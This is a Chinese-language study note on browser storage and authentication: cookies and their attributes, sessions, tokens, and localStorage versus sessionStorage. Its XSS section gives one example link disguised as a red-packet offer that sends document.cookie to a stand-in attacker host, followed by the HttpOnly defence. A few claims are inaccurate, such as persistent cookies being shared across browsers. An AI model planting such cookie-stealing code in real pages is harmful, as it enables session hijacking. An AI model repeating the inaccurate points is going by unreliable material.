一、cookie
1、cookie是用户访问服务器，服务器返回给客户端的一个身份id，之后每次请求，cookie都会被携带在请求头中发送给服务器。【通俗讲就是第一次访问的时候，
服务器生成一个锁芯（session）然后把开这个锁的钥匙（cookie）返回给客户端，之后用户每次访问服务器都会携带钥匙去开锁访问】
2、cookie如果不设置过期时间，就是会话cookie，浏览器关闭就消失。否则就是持久cookie，在过期之前，cookie都是一直存在的，并且持久cookie可以被不同浏览器共享。
3、前端可以通过
document.cookie = "user=heihei";
console.log(document.cookie);
设置和获取cookie，可以设置过期时间，有大小限制，只能存储大约4kb。
4、cookie的属性：
a、 cookie的域，产生Cookie的服务器可以向set-Cookie响应首部添加一个Domain属性来控制哪些站点可以看到那个cookie，如：
Set-Cookie: name="heihei"; domain="m.zhuanzhuan.58.com"
如果用户访问的是m.zhuanzhuan.58.com那就会发送cookie: name="heihei", 如果用户访问www.aaa.com（非zhuanzhuan.58.com）就不会发送这个Cookie。
b、并且如果是子域设置了cookie，那么，子域可以访问主域的cookie，反之主域不能访问子域的cookie，中午就涉及到path属性
例如：m.zhuanzhuan.58.com 和 m.zhaunzhuan.58.com/user/这两个url。 m.zhuanzhuan.58.com 设置cookie
Set-cookie: id="123432";domain="m.zhuanzhuan.58.com";
m.zhaunzhuan.58.com/user/ 设置cookie：
Set-cookie：user="wang", domain="m.zhuanzhuan.58.com"; path=/user/
但是访问其他路径m.zhuanzhuan.58.com/other/就会获得
cookie: id="123432"
如果访问m.zhuanzhuan.58.com/user/就会获得
cookie: id="123432" cookie: user="wang"
c、secure
设置了属性secure，cookie只有在https协议加密情况下才会发送给服务端。但是这并不是最安全的，由于其固有的不安全性，敏感信息也是不应该通过cookie传输的.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure;
5、cookie劫持（跨站点脚本XSS）
使用跨站点脚本技术可以窃取cookie。当网站允许使用javascript操作cookie的时候，就会发生攻击者发布恶意代码攻击用户的会话，同时可以拿到用户的cookie信息。
例子：
<a href="#" onclick=`window.location=http://abc.com?cookie=${docuemnt.cookie}`>领取红包</a>
当用户点击这个链接的时候，浏览器就会执行onclick里面的代码，结果这个网站用户的cookie信息就会被发送到abc.com攻击者的服务器。
攻击者同样可以拿cookie搞事情。
解决办法：可以通过cookie的HttpOnly属性，设置了HttpOnly属性，javascript代码将不能操作cookie。
二、session
1、一种会话机制，用来记录客户信息，存储在服务端，无大小限制。
三、token
1、token的意思是“令牌”，是服务端生成的一串字符串，作为客户端进行请求的一个标识。
2、当用户第一次登录后，服务器生成一个token并将此token返回给客户端，以后客户端只需带上这个token前来请求数据即可，无需再次带上用户名和密码。
3、简单token的组成；uid(用户唯一的身份标识)、time(当前时间的时间戳)、sign（签名，token的前几位以哈希算法压缩成的一定长度的十六进制字符串。
为防止token泄露）。
客户端使用用户名和密码请求登录。服务端收到请求，验证用户名和密码。验证成功后，服务端会生成一个token，然后把这个token发送给客户端。
客户端收到token后把它存储起来，可以放在cookie或者Local Storage（本地存储）里。客户端每次向服务端发送请求的时候都需要带上服务端发给的token。
服务端收到请求，然后去验证客户端请求里面带着token，如果验证成功，就向客户端返回请求的数据。
四、WebStorage
WebStorage两个主要目标：（1）提供一种在cookie之外存储会话数据的路径。（2）提供一种存储大量可以跨会话存在的数据的机制。
HTML5的WebStorage提供了两种API：localStorage（本地存储）和sessionStorage（会话存储）。
1、生命周期：localStorage:localStorage的生命周期是永久的，关闭页面或浏览器之后localStorage中的数据也不会消失。
localStorage除非主动删除数据，否则数据永远不会消失。
sessionStorage的生命周期是在仅在当前会话下有效。sessionStorage是在同源的窗口中始终存在的数据。只要这个浏览器窗口没有关闭，
即使刷新页面，数据依然存在。但是sessionStorage在关闭了浏览器窗口后就会被销毁。
同时独立的打开同一个窗口同一个页面，sessionStorage也是不一样的。
2、存储大小：localStorage和sessionStorage的存储数据大小一般都是：5MB
3、存储位置：localStorage和sessionStorage都保存在客户端，不与服务器进行交互通信。
4、存储内容类型：localStorage和sessionStorage只能存储字符串类型，对于复杂的对象可以使用ECMAScript提供的JSON对象的stringify和parse来处理
5、获取方式：localStorage：window.localStorage;；sessionStorage：window.sessionStorage;。
6、应用场景：localStoragese：常用于长期登录（+判断用户是否已登录），适合长期保存在本地的数据。sessionStorage：敏感账号一次性登录；